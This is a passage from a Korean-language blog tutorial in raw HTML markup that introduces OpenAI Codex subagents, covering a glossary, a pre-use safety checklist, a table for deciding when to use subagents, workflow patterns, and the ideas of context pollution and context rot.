패턴 (예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 버전 고지 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #495057;&quot;&gt;이 글은 &lt;b&gt;2026년 5월&lt;/b&gt; 기준 공식 문서(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex&lt;/a&gt;)를 바탕으로 작성되었다. 기능은 지속 업데이트되므로 최신 정보는 공식 문서에서 확인한다.&lt;/div&gt;
&lt;!-- 초심자 용어 박스 --&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 18px 20px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 20px 0;&quot;&gt;&lt;b&gt;먼저 용어만 가볍게 잡고 가자&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;코드베이스&lt;/b&gt;: 프로젝트를 이루는 코드, 설정 파일, 테스트 파일 전체를 말한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트&lt;/b&gt;: Codex가 현재 대화에서 참고하는 배경 정보다. 앞에서 말한 요구사항, 로그, 파일 내용이 여기에 쌓인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서브에이전트&lt;/b&gt;: 메인 Codex가 일부 일을 따로 맡기는 보조 작업자다. 사람으로 치면 &quot;이 부분만 따로 조사해 와&quot;라고 역할을 나누는 것에 가깝다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;워크플로&lt;/b&gt;: 일을 어떤 순서로 나누고, 누가 맡고, 언제 합칠지 정한 작업 흐름이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CLI&lt;/b&gt;: 터미널에서 글자로 명령을 입력해 쓰는 도구다. Codex CLI는 Codex를 터미널에서 쓰는 방식이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;PR&lt;/b&gt;: Pull Request의 줄임말이다. 보통 &quot;내가 고친 코드를 main 브랜치에 합쳐도 되는지 검토해 달라&quot;는 요청을 뜻한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;orchestrator&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 여러 subagent에게 일을 나눠주고 결과를 모아 다음 단계를 결정하는 관리자 에이전트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;subagent&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; orchestrator로부터 특정 작업만 받아 수행하는 보조 에이전트. 프리랜서에 가깝다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컨텍스트 격리&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 각 에이전트가 자기 일에만 집중하도록 다른 에이전트의 작업 내용을 차단하는 것. 슬랙 알림을 끄고 집중하는 것과 같다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;fan-out / fan-in&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; fan-out은 작업을 여러 에이전트에 동시 분배, fan-in은 결과를 다시 하나로 합치는 것. 채점지 복사(fan-out) &amp;rarr; 점수 취합(fan-in)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;spawn&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 에이전트가 실행 중에 새 에이전트를 동적으로 생성하는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 안전 체크리스트 --&gt;
&lt;div style=&quot;background-color: #fff4f4; padding: 18px 20px; border-radius: 10px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;따라 하기 전에 확인할 것&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 12px;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트는 편하지만, 여러 에이전트가 동시에 명령을 실행할 수 있다. 초보자는 아래 항목을 먼저 확인하는 편이 안전하다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로젝트 루트가 맞는지 확인한다. 엉뚱한 폴더에서 실행하면 다른 파일을 읽거나 수정할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git status&lt;/code&gt;로 현재 변경 사항을 확인한다. 중요한 변경은 커밋하거나 백업해 둔다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;처음에는 &quot;수정하지 말고 읽기만 해라&quot;, &quot;요약만 돌려줘&quot;처럼 읽기 전용 지시를 명확히 쓴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;테스트가 데이터베이스, 외부 API, 실제 비밀키를 건드리지 않는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;샌드박스와 승인 정책을 확인한다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandbox 문서&lt;/a&gt;에 따르면 샌드박스는 파일 수정 범위와 네트워크 사용 같은 경계를 정하고, 승인 정책은 그 경계를 넘을 때 멈춰 물어볼지를 정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;서브에이전트는 각자 모델과 도구 작업을 수행하므로 단일 에이전트보다 토큰 사용량, 대기 시간, 요금 부담이 늘 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 초반 결정표 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;내 작업에 서브에이전트가 필요한가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글을 끝까지 읽기 전에 먼저 아래 표로 감을 잡자. 서브에이전트는 &quot;무조건 많이 띄우면 좋은 기능&quot;이 아니라, 일을 나눴을 때 조율 비용보다 이득이 클 때 쓰는 도구다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdyzUu%2FdJMcabjSVpy%2FnlfVqfuIkPGyaMBF5gz120%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2096&quot; height=&quot;1138&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;서브에이전트 사용 여부 빠른 판단표&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;판단&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 파일 안의 작은 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;쓰지 않는 편이 낫다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나누는 시간보다 직접 처리하는 시간이 짧다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;낯선 저장소 구조 파악&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;읽기 전용이면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구조, 테스트, 의존성을 따로 읽어도 충돌이 거의 없다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 다각도 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관점이 분명하면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 테스트, 유지보수성처럼 렌즈를 나눌 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 파일을 여러 에이전트가 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;초보자는 피한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;충돌과 재검증 비용이 커질 가능성이 높다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;외부 API, DB, 결제, 메일 발송이 걸린 테스트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;먼저 멈추고 확인한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 실행보다 부작용 통제가 먼저다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;첫 기준&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 &quot;읽기 전용 서브에이전트 2개&quot;에서 시작한다. &lt;br /&gt;여기서 결과가 잘 맞고 검증이 쉬우면 3개로 늘리고, 파일 수정이 필요해지는 순간에는 역할별 파일 소유권을 먼저 나눈다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;왜 작업을 쪼개야 하는가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;서브에이전트란 무엇인가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;서브에이전트 생성하기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;병렬 실행 &amp;mdash; 읽기와 쓰기를 구분하라&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;모델 배분 전략&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;워크플로 설계 원칙&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;정리 및 실전 적용 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0 30px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서브에이전트 워크플로 패턴 한눈에 살펴보기&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;패턴&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;흔한 실패&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;병렬 독립&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;역할이 완전히 나뉘어 파일 충돌이 없을 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;결과 취합 기준이 없어 응답이 뒤섞임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;순차 직렬&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이전 결과가 다음 에이전트의 입력이 될 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Phase 완료 체크 없이 다음 단계 바로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;오케스트레이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복잡한 작업을 총괄 에이전트가 조율할 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트가 같은 파일을 덮어씀&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 0.9em; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 병렬 독립(읽기 전용 2개)패턴으로 시작해보자. &lt;br /&gt;결과가 잘 나오면 순차 직렬을 추가하고, 오케스트레이터는 역할이 완전히 정리된 뒤 도입하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2166&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKSQMS%2FdJMcaiwub76%2F2a4FDPkwMyVtKm0DIFSsh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2166&quot; height=&quot;1160&quot; data-origin-width=&quot;2166&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 작업을 쪼개야 하는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 대화창에서 요구사항 정리부터 디버깅, 문서 작성까지 모두 처리하다 보면 두 가지 문제가 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 단어가 낯설 수 있지만, 결국 &quot;중요한 말이 잡음에 묻힌다&quot;는 이야기다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcR0b1L%2FdJMcajhQtDD%2FOAM142HFXgKL6Hbj649hT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2114&quot; height=&quot;1152&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 서브에이전트 문서&lt;/a&gt;는 이 문제를 명확히 구분한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Context pollution: useful information gets buried under noisy intermediate output. Context rot: performance degrades as the conversation fills up with less relevant details.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;컨텍스트 오염: 유용한 정보가 불필요한 중간 출력에 묻혀 버린다. 컨텍스트 부식: 덜 관련된 세부 정보로 대화창이 채워지면서 성능이 점점 저하된다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context pollution&lt;/b&gt;은 말 그대로 &quot;대화창이 지저분해지는 현상&quot;이다. 파일 탐색 메모, 테스트 로그, 스택 트레이스(오류가 어디서 시작됐는지 보여주는 긴 기록)가 쌓이면서 정작 중요한 요구사항이 뒤로 밀린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context rot&lt;/b&gt;은 그 결과로 답변 품질이 서서히 나빠지는 상태다. 쉽게 말해, 대화창이 너무 어수선해져서 Codex가 처음 목표를 잊어버리는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결 방향은 단순하다. 메인 스레드, 즉 내가 계속 보고 있는 중심 대화창에는 &quot;요구사항&amp;middot;결정&amp;middot;최종 출력&quot;만 남긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 탐색이나 테스트처럼 로그가 많이 나오는 일은 서브에이전트에게 따로 맡기면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 두 개념을 굳이 나누는 이유도 실전에서는 꽤 중요하다. context pollution은 지금 당장 &quot;로그가 너무 많이 쌓였네&quot; 하고 알아차릴 수 있다. 반면 context rot은 한참 뒤에 &quot;왜 답이 점점 엉뚱해지지?&quot;라는 식으로 드러난다. 먼저 오염을 줄이고, 길어진 대화에서는 품질 저하가 생기지 않는지 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 서브에이전트란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 핵심 용어 3가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;는 서브에이전트 관련 용어를 세 가지로 구분한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Subagent workflow: A workflow where Codex runs parallel agents and combines their results. Subagent: A delegated agent that Codex starts to handle a specific task. Agent thread: The CLI thread for an agent, which you can inspect and switch between with /agent.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;서브에이전트 워크플로: Codex가 여러 에이전트를 병렬로 실행하고 결과를 합치는 흐름. 서브에이전트: 특정 작업을 담당하도록 Codex가 시작한 보조 에이전트. 에이전트 스레드: /agent 명령으로 전환하거나 확인할 수 있는 에이전트별 CLI 작업창.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subagent workflow는 Codex가 여러 에이전트를 병렬로 실행하고 결과를 합치는 흐름이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subagent는 특정 작업을 맡기기 위해 Codex가 시작한 보조 에이전트이고, agent thread는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;로 전환하거나 확인할 수 있는 에이전트별 작업창이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /agent&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpmPjo%2FdJMcaayuMFs%2FDc9uwc3HtccjwLAyt8pXO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;96&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;서브에이전트 워크플로(Subagent workflow)&lt;/b&gt;: Codex가 여러 보조 에이전트를 실행하고 결과를 합치는 전체 흐름이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;서브에이전트(Subagent)&lt;/b&gt;: 특정 작업을 담당하도록 Codex가 따로 띄운 보조 에이전트다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;에이전트 스레드(Agent thread)&lt;/b&gt;: CLI에서 각 에이전트가 일하는 개별 작업창이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 명령으로 전환하거나 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관계는 이렇게 보면 쉽다. 하나의 작업 흐름 안에 여러 보조 작업자가 있고, 각 보조 작업자는 자기 대화창을 따로 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 에이전트 스레드다. 서브에이전트는 안 보이는 곳에서 잠깐 실행되고 끝나는 기능이 아니다. CLI에서 직접 들어가 볼 수 있는 독립된 작업창으로 남는다. 그래서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 명령으로 실행 중인 서브에이전트의 중간 상태를 확인하거나 추가 지시를 줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 언제 필요한가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 상황에서 서브에이전트가 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
